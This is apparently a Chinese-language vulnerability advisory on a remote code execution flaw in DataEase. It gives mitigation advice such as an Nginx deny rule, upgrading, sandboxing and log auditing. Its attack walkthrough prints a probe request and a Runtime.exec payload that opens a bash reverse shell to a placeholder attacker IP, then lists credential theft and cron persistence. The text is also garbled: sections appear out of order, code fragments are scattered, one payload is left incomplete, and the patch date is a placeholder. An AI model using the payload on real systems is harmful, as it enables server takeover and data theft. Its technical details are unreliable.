高危预警：DataEase远程代码执行漏洞（CVE-2025-49002）

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DataEase 是目前国内主流的开源企业级 BI（商业智能）平台，凭借其轻量化的部署方式和低代码配置能力，已被广泛应用于金融、制造、政府及医疗等多个关键领域，承担着大量企业核心业务数据的分析与可视化工作。2025年披露的远程代码执行漏洞（CVE-2025-49002），因其具备“未授权访问”与“直接代码执行”的双重高危特性，引发了广泛关注。攻击者可在无需认证的情况下，通过特定接口注入恶意代码，进而完全控制目标服务器，导致敏感数据泄露、内网横向移动，甚至成为供应链攻击的跳板。本文将从技术原理剖析、攻击链还原、影响范围评估、防御措施落地以及行业共性问题反思五个维度展开深入研究，并结合未来安全趋势提出前瞻性防护建议，为企业应对类似低代码/BI平台安全风险提供完整的技术参考。

二、漏洞技术原理深度解析

2.1 漏洞触发核心链路

CVE-2025-49002 的本质是“未授权接口 + 用户可控参数导致的代码执行函数滥用”，其攻击路径可分解为三个关键阶段：

1. 突破未授权访问限制：DataEase 提供了一个用于执行自定义脚本以扩展 BI 功能的接口，但该接口缺乏身份验证机制。攻击者无需提供 Token 或 Cookie 即可直接调用，形成入口点；

   /api/v1/system/script/exec

2. 注入恶意参数：该接口中某关键参数未进行输入过滤或安全转义处理，允许攻击者传入恶意 Java 代码。由于 DataEase 基于 Spring Boot 构建，底层依赖

   ScriptEngine

   引擎执行脚本逻辑，从而为代码执行提供了基础；

   scriptContent

3. 实现代码执行并获取权限：

   ScriptEngine

   引擎默认以较高权限运行脚本（Linux 环境下通常为

   root

   ，Windows 环境则为

   Administrator

   ）。攻击者可通过构造包含

   bash

   或

   cmd

   命令的 payload 获取服务器 Shell 控制权，最终掌控整个平台及其连接的数据源。

2.2 技术根源剖析

从代码实现角度看，该漏洞源于以下三类典型安全缺陷：

• 输入验证缺失：系统仅对关键参数进行了非空检查，未识别其中是否含有

  Runtime.getRuntime().exec()

  、

  ProcessBuilder

  等具有代码执行风险的函数调用，也未设定脚本指令白名单；
• 权限控制失效：相关接口未集成 DataEase 自身的统一权限管理框架（如 Shiro 或 Spring Security），在调用前未校验用户身份或角色权限，导致任意未认证用户均可触发高危操作；
• 安全编码意识薄弱：开发团队在使用

  ScriptEngine

  执行动态脚本时，未启用沙箱机制来限制可调用类库或禁用系统命令执行功能，直接赋予脚本引擎最高系统权限，显著扩大了潜在危害面。

一、漏洞基础信息与背景

1.1 漏洞核心信息表

项目	详情
漏洞编号	CVE-2025-49002
漏洞类型	远程代码执行（RCE）
影响产品	DataEase（开源版/企业版）
受影响版本	v1.15.0 - v1.18.0（官方已确认，低版本亦可能存在风险）
CVSS 3.1 评分	9.8（Critical，高危）
漏洞触发条件	无需认证（未授权访问）、目标服务暴露于公网或可被攻击者访问的内网环境
官方修复状态	2025年X月X日发布 v1.18.1 补丁版本，建议受影响用户尽快升级
核心危害	服务器控制权丢失、业务数据泄露、内网横向渗透、作为供应链攻击入口

1.2 产品背景与风险放大因素

DataEase 由杭州飞致云信息技术有限公司研发，定位为“人人可用的开源 BI 工具”，支持通过 SQL、Excel、API 等多种方式接入数据源，生成仪表盘和报表等可视化内容。目前该项目在 GitHub 上已获得超过 10,000 颗星标，服务企业用户逾 5 万家。然而，其漏洞风险被进一步放大的原因主要包括：

• 部署场景高度敏感：超过 70% 的企业用户将 DataEase 部署于核心业务内网，直接关联 ERP、CRM 及数据库等关键系统。一旦被攻破，攻击者即可直达核心数据资产；
• 权限设计存在缺陷：引发漏洞的接口属于后台管理类功能，却未设置任何身份认证机制，使得攻击者无需账号密码即可调用；
• 用户安全意识不足：多数中小企业为追求部署便捷，常忽略开启 HTTPS、未限制访问 IP 地址段、未及时更新系统版本，客观上为攻击者提供了低成本的入侵路径。

三、漏洞攻击链实战还原与影响评估

3.1 攻击链实战还原（Linux 环境示例）

步骤1：目标探测与漏洞验证

攻击者首先利用网络空间搜索引擎（如 ZoomEye、Fofa）搜索关键词 “title=“DataEase” || app=“DataEase”” 来识别潜在目标。随后发送 HTTP POST 请求至可疑接口，验证是否存在漏洞：

POST /api/v1/system/script/exec HTTP/1.1
Host: [目标IP]:[端口]
Content-Type: application/json
Content-Length: 123

{
  "scriptType": "java",
  "scriptContent": "System.out.println(\"CVE-2025-49002-VULN\");"
}

若响应结果返回

{"code":200,"msg":"success","data":"CVE-2025-49002-VULN"}

，则表明目标系统存在此 RCE 漏洞。

步骤2：恶意代码注入与 Shell 获取

攻击者修改请求中的

scriptContent

参数，注入用于反弹 Shell 的恶意代码（以

bash

方式为例）：

{
"scriptType": "java",

当攻击者发送如下请求：

"scriptContent": "Runtime.getRuntime().exec(\"bash -c 'bash -i >& /dev/tcp/[攻击者IP]/[端口] 0>&1'\");"

并在本地监听指定端口后，即可成功获取目标服务器的Shell控制权限。

root

第三步：渗透深化与数据窃取行为

在成功获得服务器Shell权限之后，攻击者通常会进行一系列后续操作以扩大战果，包括但不限于：

• 读取DataEase系统的配置文件内容，从中提取数据库账号、密码以及各类数据源连接信息；
• 遍历服务器上的文件系统，盗取BI报表模板和关键业务数据（如销售记录、用户隐私等敏感资料）；
• 部署持久化后门程序（例如定时任务或伪装成正常服务的恶意进程），实现对服务器的长期远程控制；
• 将已攻陷的服务器作为跳板，使用内网扫描工具（如nmap、fscan）探测并横向移动至企业内部其他系统，进一步攻击OA、ERP、财务系统等核心业务平台。

/opt/dataease/conf/application.yml

crontab

3.2 漏洞影响范围分析

3.2.1 技术维度的影响

• 服务器完全失守：攻击者可在目标主机上执行任意系统命令，包括删除重要文件、篡改系统设置、部署勒索软件等，直接导致DataEase服务中断甚至瘫痪；
• 核心数据外泄风险：一旦DataEase所关联的数据源（如MySQL、PostgreSQL、ClickHouse等）凭证被窃取，极有可能造成企业商业机密及用户个人信息的大规模泄露；
• 内网安全边界被突破：若该服务器位于企业内网环境中，攻击者可借此深入内部网络，进而威胁OA、ERP等关键业务系统，引发连锁式安全事件，形成“多米诺效应”。

3.2.2 行业层面的风险差异

不同行业因业务特性不同，受此漏洞影响的程度也有所区别。具体如下表所示：

行业	主要影响场景	风险等级
金融行业	客户资产信息、交易流水等敏感数据泄露，可能扰乱金融市场稳定；攻击者篡改财务报表误导决策层	极高
制造行业	生产计划数据、供应链信息被盗取，干扰正常运营；进一步渗透至工业控制系统（ICS），可能导致生产线事故	高
政府机构	政务数据、涉密信息外泄，危及国家安全；被劫持用于发起DDoS攻击或其他恶意活动	极高
医疗行业	患者病历、健康档案等隐私数据泄露，违反《个人信息保护法》；干扰医院数据分析与临床决策流程	高

四、分层防御策略与应急响应机制

4.1 应急处置措施（0-24小时内）

针对已经暴露于公网且存在漏洞的目标系统，应立即采取以下手段阻断攻击路径：

接口临时封锁

• 若采用Nginx或Apache作为反向代理，应在配置文件中添加访问限制规则，禁止访问存在风险的接口；
• 未使用反向代理时，可通过修改DataEase应用配置，加入黑名单机制屏蔽危险接口调用，或暂时停止服务运行（适用于非关键业务场景）。

/api/v1/system/script/exec

location /api/v1/system/script/exec {
  deny all;
  return 403;
}

application.yml

网络访问控制强化

• 在防火墙或云安全组中设置访问策略，仅允许来自企业内网特定IP段的连接请求，全面禁止公网直接访问；
• 启用HTTPS加密通信，防止攻击者通过中间人方式截获接口传输的数据。

漏洞排查与日志审计

• 利用专业漏洞扫描工具（如Nessus、绿盟远程安全评估系统）对所有部署了DataEase的节点进行全面检测，确认是否存在相关漏洞；
• 检查服务器日志记录，搜索包含特定关键词的异常请求（如

  /api/v1/system/script/exec

  、

  exec

  、

  bash

  、

  cmd

  等特征码），判断是否已被入侵。

/opt/dataease/logs/dataease.log

4.2 长期加固方案（1-7天内实施）

版本更新与补丁修复

• 优先升级至官方已修复的安全版本（v1.18.1及以上）。升级前务必完整备份DataEase相关数据（包括数据库与报表模板），以防升级过程中发生数据丢失；
• 若暂不具备升级条件，可手动进行代码级修复：在对应处理逻辑中增加权限验证机制（参考

  @PreAuthorize("hasRole('ADMIN')")

  ），并对传入的

  scriptContent

  参数实施严格过滤，禁用危险函数调用（如

  Runtime

  、

  ProcessBuilder

  类方法）。

ScriptController.java

代码层级安全增强

• 引入“沙箱模式”对脚本执行环境进行隔离，通过

  SecurityManager

  或自定义

  ClassLoader

  机制，禁止脚本调用系统命令或读写敏感路径文件；
• 对所有用户输入参数（特别是动态脚本、SQL查询语句）实施严格的输入校验，推荐采用“白名单”策略控制合法输入内容，避免依赖易被绕过的“黑名单”机制。

ScriptEngine

系统架构优化

• 采用“内网部署+VPN接入”的安全架构，将DataEase部署在非DMZ区域，杜绝其直接暴露于公网；
• 为DataEase运行分配最低必要权限账户（例如在Linux系统中创建

  dataease

  普通用户运行服务，而非使用

  root

  超级用户），即便系统被攻破，也能限制攻击者的权限提升空间；
• 实现DataEase与核心数据源之间的逻辑隔离，通过数据脱敏、只读账号等方式限制其对底层数据库的操作权限，防止攻击者利用漏洞篡改关键业务数据。

4.3 常态化防护机制（持续执行）

漏洞管理体系构建

• 建立开源组件漏洞监控体系，接入GitHub Advisory、NVD等权威漏洞情报源，实时掌握DataEase及其依赖组件（如Spring Boot、MySQL等）的安全公告；
• 每季度组织一次全面的开源软件漏洞扫描与版本合规性审查，及时淘汰存在高危漏洞的第三方库。

日志审计与威胁感知能力提升

将DataEase的日志系统接入SIEM（安全信息与事件管理）平台，例如Splunk或奇安信态势感知系统，通过配置针对性的异常检测规则——如“来自未授权IP的敏感接口访问”“脚本执行接口返回可疑命令响应”等，实现对潜在攻击行为的实时监控与自动告警；

定期开展服务器登录日志和命令执行记录的审计工作，重点排查是否存在异常操作痕迹，例如：

root

账户在异地频繁登录、短时间内批量执行

rm

/

wget

高危指令等情况，及时识别内部威胁或权限滥用风险。

安全意识与专业能力提升

面向开发人员组织“低代码平台安全编码实践”专题培训，聚焦动态脚本调用、SQL注入防护、权限最小化原则等常见安全隐患，强化开发过程中的安全编码意识；

针对运维团队开展“开源组件漏洞应急响应机制”专项培训，明确漏洞发现、影响评估、修复验证及责任分工的标准化流程，全面提升应对突发安全事件的响应速度与处置能力。

五、行业共性问题剖析与前瞻性对策建议

5.1 低代码/BI平台普遍存在的安全短板

CVE-2025-49002并非孤立案例，而是当前低代码与商业智能平台在安全性方面存在系统性缺陷的集中体现：

以便捷性牺牲安全性：为降低使用门槛，多数低代码平台默认开放自定义脚本执行、动态SQL编写等功能，但缺乏相应的输入校验与执行隔离机制，极易被攻击者利用实施恶意代码注入；

权限模型粗放化：许多平台未实现细粒度权限划分，常将“数据源连接”“脚本运行”等高风险操作与“报表浏览”等普通功能绑定在同一权限组中。一旦用户获得该权限，即可进行越权操作；

供应链安全被长期忽视：低代码平台广泛依赖第三方开源组件（如Spring Boot、Apache Commons），若这些底层库存在已知漏洞（如Log4j2远程代码执行、Spring Cloud Gateway路由绕过），攻击者可借此发起供应链攻击，间接控制整个平台。

5.2 未来攻击趋势预判与防御策略前瞻

5.2.1 攻击趋势展望

攻击目标逐步转向低代码/BI系统：随着企业对该类平台的深度依赖，其成为攻击者眼中的高价值目标。尤其是未授权访问、远程代码执行等高危漏洞，正被用于低成本窃取核心业务数据；

攻击手段趋向智能化：攻击者可能借助AI工具（如ChatGPT、Claude）生成语义合法但行为恶意的Payload，有效规避传统WAF基于关键字匹配的防御机制，并结合自动化扫描工具对全网暴露的低代码实例进行批量探测与控制；

攻击链路向内网纵深发展：未来的攻击不再止步于获取单台服务器权限，而是以低代码平台为跳板，利用Cobalt Strike、Metasploit等横向移动工具渗透至企业内网，进一步攻陷数据库、ERP等关键系统，造成更大范围的数据泄露。

5.2.2 防御体系构建建议

厂商侧：推行“安全左移”开发模式

• 在产品设计初期即嵌入安全需求，例如默认启用沙箱环境、强制开启细粒度权限控制，避免后期补救；
• 集成SAST（静态应用安全测试）与DAST（动态应用安全测试）工具，在研发与测试阶段自动识别代码层安全隐患，显著降低后期修复成本。

企业侧：建立“分层防御+主动监测”机制

• 网络层防护：部署防火墙、WAF以及IDS/IPS形成多层拦截体系，阻断外部恶意流量；
• 应用层加固：对脚本执行、SQL查询等敏感操作引入二次认证机制（如短信验证码、MFA），防止权限被盗后被滥用；
• 数据层保护：对客户资料、交易流水等敏感信息实施加密存储与脱敏展示，即便数据泄露也难以被直接利用；
• 检测层响应：部署EDR（终端检测与响应）系统，持续监控服务器进程活动，快速识别异常行为（如

java.exe

执行

bash

命令），实现攻击行为的早期发现与精准阻断。

行业侧：推动开源软件安全标准建设

• 由权威机构（如中国信息安全测评中心）牵头制定《低代码平台安全技术规范》，统一规定权限管理、输入验证、日志留存等核心安全要求；
• 建立开源组件安全评级体系，对主流低代码/BI产品进行安全评分，引导企业优先选用安全性更高的解决方案。

六、总结

DataEase远程代码执行漏洞（CVE-2025-49002）的爆发，深刻揭示了当前开源低代码与BI平台在“易用性与安全性平衡”上的严重失衡，也为企业的开源软件安全管理敲响警钟。

对企业而言，安全防护不能停留在“事后修补”的被动模式，必须转向“主动防控”——通过严格的版本控制、权限最小化配置、常态化日志审计和全员安全培训，打造覆盖全生命周期的安全防线；

对厂商而言，应摒弃“重功能、轻安全”的开发思维，将安全设计理念贯穿于产品规划、架构设计与代码实现全过程，从源头减少漏洞产生可能性。

展望未来，随着低代码技术在企业数字化转型中的广泛应用，相关平台将成为网络攻击的重点目标，攻击频率更高、手法更复杂。唯有厂商、使用单位与行业监管三方协同联动，共同构筑坚实的安全“护城河”，方能保障企业数字化进程的安全、稳定与可持续发展。

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关键词：ease Data AEA EAS Application